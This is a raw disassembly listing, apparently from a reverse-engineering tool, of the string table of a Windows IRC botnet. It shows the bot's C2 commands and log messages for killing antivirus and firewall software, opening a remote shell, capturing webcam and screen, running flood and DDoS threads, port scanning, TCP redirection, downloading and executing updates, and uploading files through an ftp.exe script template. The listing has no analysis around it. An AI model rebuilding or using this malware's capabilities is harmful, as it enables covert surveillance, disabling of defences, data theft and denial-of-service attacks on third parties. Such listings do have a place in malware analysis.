dword_42A9B0	dd 234032Dh, 75636573h,	2036572haFailedToStartR	db '- Failed to start registry thread, error: <%d>.',0
dword_42A9EC	dd 234032Dh, 75636573h,	2036572haRegistryMonito	db '- Registry monitor active.',0
		align 4
dword_42AA14	dd 234032Dh, 75636573h,	2036572haFailedToStartS	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42AA50	dd 234032Dh, 75636573h,	2036572haSystemSecureMo	db '- System secure monitor active.',0
unk_42AA7C	db  2Dh	; -		; DATA XREF: sub_401252+3E1o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_42AABC	db  2Dh	; -		; DATA XREF: sub_401252+390o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 10h
dword_42AAE0	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_401252+355o
		dd 2E646574h, 0
dword_42AAFC	dd 25207325h, 25222064h, 2273hdword_42AB08	dd 255C7325h, 73h					; sub_416028+7Eo ...
dword_42AB10	dd 73257325h, 0						; sub_40FF08+E9o ...
unk_42AB18	db  2Dh	; -		; DATA XREF: sub_401891+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_4019F7+55o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_4019F7+28o
		align 10h
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+7DA8o
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+7D93o
		align 10h
unk_42AB80	db  2Dh	; -		; DATA XREF: sub_401B66+7D7Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_42ABA0	db  2Dh	; -		; DATA XREF: sub_401B66+7D62o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 10h
unk_42ABC0	db  2Dh	; -		; DATA XREF: sub_401B66+7D0Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401B66+7CEAo
		align 4
unk_42AC14	db  2Dh	; -		; DATA XREF: sub_401B66+7CA0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401B66+7C91o
					; sub_401B66+7CFEo
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401B66+7C7Do
		align 4
asc_42AC94:				; DATA XREF: sub_401B66+7C4Do
		unicode	0, <~>,0
unk_42AC98	db  2Dh	; -		; DATA XREF: sub_401B66+7BFCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_42ACBC	db  2Dh	; -		; DATA XREF: sub_401B66+7B92o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_42ACE4	db  2Dh	; -		; DATA XREF: sub_401B66+7B4Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_42AD08	db  2Dh	; -		; DATA XREF: sub_401B66+7B2Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401B66+7B0Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 10h
unk_42AD50	db  2Dh	; -		; DATA XREF: sub_401B66+7AEBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_42AD74	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401B66+7ACEo
		dd 2E732520h, 0
unk_42AD90	db  2Dh	; -		; DATA XREF: sub_401B66:loc_4095BEo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_42ADBC	db  2Dh	; -		; DATA XREF: sub_401B66+7A51o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 10h
unk_42ADE0	db  2Dh	; -		; DATA XREF: sub_401B66:loc_40957Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_42AE08	db  2Dh	; -		; DATA XREF: sub_401B66+7A0Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: sub_401B66+79F0o
unk_42AE34	db  2Dh	; -		; DATA XREF: sub_401B66+78E6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_42AE5C	db  2Dh	; -		; DATA XREF: sub_401B66:loc_409433o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_42AE80	db  2Dh	; -		; DATA XREF: sub_401B66+78C3o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_42AEA0	db  2Dh	; -		; DATA XREF: sub_401B66+7896o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42AEC8	db  2Dh	; -		; DATA XREF: sub_401B66:loc_4093DCo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
unk_42AEF0	db  2Dh	; -		; DATA XREF: sub_401B66+784Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 10h
unk_42AF10	db  2Dh	; -		; DATA XREF: sub_401B66:loc_409374o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 10h
unk_42AF40	db  2Dh	; -		; DATA XREF: sub_401B66+7804o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_42AF60	db  2Dh	; -		; DATA XREF: sub_401B66:loc_409316o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_42AF90	db  2Dh	; -		; DATA XREF: sub_401B66+77A9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_42AFB4	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401B66+775Eo
		dd 27732527h, 2Eh
unk_42AFD0	db  2Dh	; -		; DATA XREF: sub_401B66+772Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42B00C	db  2Dh	; -		; DATA XREF: sub_401B66+76D6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_42B030	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401B66+7662o
		dd 0
unk_42B048	db  2Dh	; -		; DATA XREF: sub_401B66+762Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_42B088	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401B66+75D5o
		dd 2Eh
dword_42B0A0	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401B66:loc_409092o
		dd 746E6573h, 2Eh
unk_42B0BC	db  2Dh	; -		; DATA XREF: sub_401B66+7525o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42B0DC	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401B66+74E6o
		dd 732520h
unk_42B0F4	db  2Dh	; -		; DATA XREF: sub_401B66+74DEo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42B120:				; DATA XREF: sub_401B66+74C0o
					; sub_40FF08+FAo ...
		dw 0Ah
		unicode	0, <>,0
unk_42B124	db  2Dh	; -		; DATA XREF: sub_401B66+7496o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42B148	db  2Dh	; -		; DATA XREF: sub_401B66+7480o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42B16C	db  2Dh	; -		; DATA XREF: sub_401B66:loc_408F6Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 10h
unk_42B1B0	db  2Dh	; -		; DATA XREF: sub_401B66:loc_408F61o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42B1F0	db  2Dh	; -		; DATA XREF: sub_401B66+73E8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401B66:loc_408EC0o
		align 4
unk_42B224	db  2Dh	; -		; DATA XREF: sub_401B66:loc_408EADo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42B25C	db  2Dh	; -		; DATA XREF: sub_401B66:loc_408EA6o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 10h
unk_42B290	db  2Dh	; -		; DATA XREF: sub_401B66+7330o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401B66:loc_408E1Fo
		align 4
unk_42B2C4	db  2Dh	; -		; DATA XREF: sub_401B66+72ACo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
unk_42B2EC	db  2Dh	; -		; DATA XREF: sub_401B66+7279o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401B66:loc_408D92o
unk_42B31C	db  2Dh	; -		; DATA XREF: sub_401B66:loc_408D7Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42B358	db  2Dh	; -		; DATA XREF: sub_401B66:loc_408D78o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401B66+7202o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401B66:loc_408D37o
		align 4
dword_42B3BC	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401B66+71B9o
		dd 2E732520h, 0
unk_42B3D8	db  2Dh	; -		; DATA XREF: sub_401B66:loc_408CDCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42B408	db  2Dh	; -		; DATA XREF: sub_401B66+7160o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 10h
unk_42B430	db  2Dh	; -		; DATA XREF: sub_401B66+70BDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 10h
unk_42B450	db  2Dh	; -		; DATA XREF: sub_401B66+707Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 10h
unk_42B470	db  2Dh	; -		; DATA XREF: sub_401B66+7023o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42B48C	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401B66+6FB4o
dword_42B4A0	dd 54524150h, 0D732520h, 0Ah					; sub_401B66+7ADBo
unk_42B4AC	db  2Dh	; -		; DATA XREF: sub_401B66+6F50o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401B66+6F42o
		align 4
dword_42B4D4	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401B66+6F17o
		dd 25203A29h, 73h
dword_42B4F0	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401B66+6EABo
		dd 203A2973h, 7325h
dword_42B50C	dd 45444F4Dh, 732520hdword_42B514	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401B66+6E23o
		dd 203A2973h, 7325h
dword_42B530	dd 4E494F4Ah, 20732520h, 7325hdword_42B53C	dd 0A0D7325h, 0						; sub_401B66+6E04o ...
dword_42B544	dd 54524150h, 732520hdword_42B54C	dd 234032Dh, 67726174h,	3023361haFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B588	dd 234032Dh, 67726174h,	3023361haFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42B5B4	db  2Dh	; -		; DATA XREF: sub_401B66+6C24o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42B5F0	db  2Dh	; -		; DATA XREF: sub_401B66+6BCBo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42B624	db  2Dh	; -		; DATA XREF: sub_401B66:loc_4086CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42B658	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401B66+6B2Do
		dd 7325h
dword_42B670	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401B66:loc_4085FFo
dword_42B684	dd 25207325h, 73252073h, 73253A20h, 2 dup(0)					; sub_401B66+6B07o ...
dword_42B698	dd 234032Dh, 61647075h,	3026574haBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_42B6E0	dd 234032Dh, 61647075h,	3026574haFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42B71C	dd 234032Dh, 61647075h,	3026574haDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401B66+68E9o
		align 4
dword_42B754	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401B66+688Ao
		dd 7325203Ah, 0
unk_42B770	db  2Dh	; -		; DATA XREF: sub_401B66+687Fo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42B794	db  2Dh	; -		; DATA XREF: sub_401B66+67CDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42B7D0	db  2Dh	; -		; DATA XREF: sub_401B66+6769o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42B800	dd 234032Dh, 656C6966h,	2D0302h					; sub_401B66:loc_4092CBo
unk_42B80C	db  2Dh	; -		; DATA XREF: sub_401B66+66B6o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42B830	db  2Dh	; -		; DATA XREF: sub_401B66:loc_4081FAo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42B868	db  2Dh	; -		; DATA XREF: sub_401B66+6675o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42B8A0	db  2Dh	; -		; DATA XREF: sub_401B66+6611o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42B8CC	dd 234032Dh, 6E6F6C63h,	3027365haFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42B908	dd 234032Dh, 6E6F6C63h,	3027365haCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42B938	db  2Dh	; -		; DATA XREF: sub_401B66+6485o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42B970	db  2Dh	; -		; DATA XREF: sub_401B66+6429o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42B9A0	db  2Dh	; -		; DATA XREF: sub_401B66+638Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42B9D8	db  2Dh	; -		; DATA XREF: sub_401B66+6331o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42BA08	db  2Dh	; -		; DATA XREF: sub_401B66+62A6o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42BA40	db  2Dh	; -		; DATA XREF: sub_401B66+624Ao
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42BA7C	db  2Dh	; -		; DATA XREF: sub_401B66+61BFo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42BABC	db  2Dh	; -		; DATA XREF: sub_401B66+6166o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42BAE8	db  2Dh	; -		; DATA XREF: sub_401B66+6085o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42BB2C	db  2Dh	; -		; DATA XREF: sub_401B66+602Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42BB68	db  2Dh	; -		; DATA XREF: sub_401B66+5F33o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401B66+5EAFo
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401B66+5DADo
		align 4
dword_42BBC4	dd 54434101h, 204E4F49h, 17325h					; sub_401B66+7000o
unk_42BBD0	db  2Dh	; -		; DATA XREF: sub_401B66+5CA3o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42BC10	db  2Dh	; -		; DATA XREF: sub_401B66+5C4Ao
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42BC60	db  2Dh	; -		; DATA XREF: sub_401B66+5B9Eo
					; sub_401B66+5F8Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BC98	db  2Dh	; -		; DATA XREF: sub_401B66+5B45o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 10h
unk_42BD00	db  2Dh	; -		; DATA XREF: sub_401B66+59CFo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_11	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42BD34	db  2Dh	; -		; DATA XREF: sub_401B66+5972o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42BD68	db  2Dh	; -		; DATA XREF: sub_401B66:loc_4073B7o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42BD98	db  2Dh	; -		; DATA XREF: sub_401B66+584Ao
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401B66+5831o
aSS_3		db '-s:%s',0            ; DATA XREF: sub_401B66+581Ao
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401B66+57FAo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401B66+57D6o
					; sub_41226B+4Eo
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401B66+57C5o
		align 4
unk_42BE08	db  2Dh	; -		; DATA XREF: sub_401B66+576Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401B66+5749o
		align 10h
unk_42BE30	db  2Dh	; -		; DATA XREF: sub_401B66+5713o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 10h
unk_42BE70	db  2Dh	; -		; DATA XREF: sub_401B66+56CBo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42BEA8	db  2Dh	; -		; DATA XREF: sub_401B66+5672o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
unk_42BEF0	db  2Dh	; -		; DATA XREF: sub_401B66+55C4o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42BF24	db  2Dh	; -		; DATA XREF: sub_401B66+5590o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
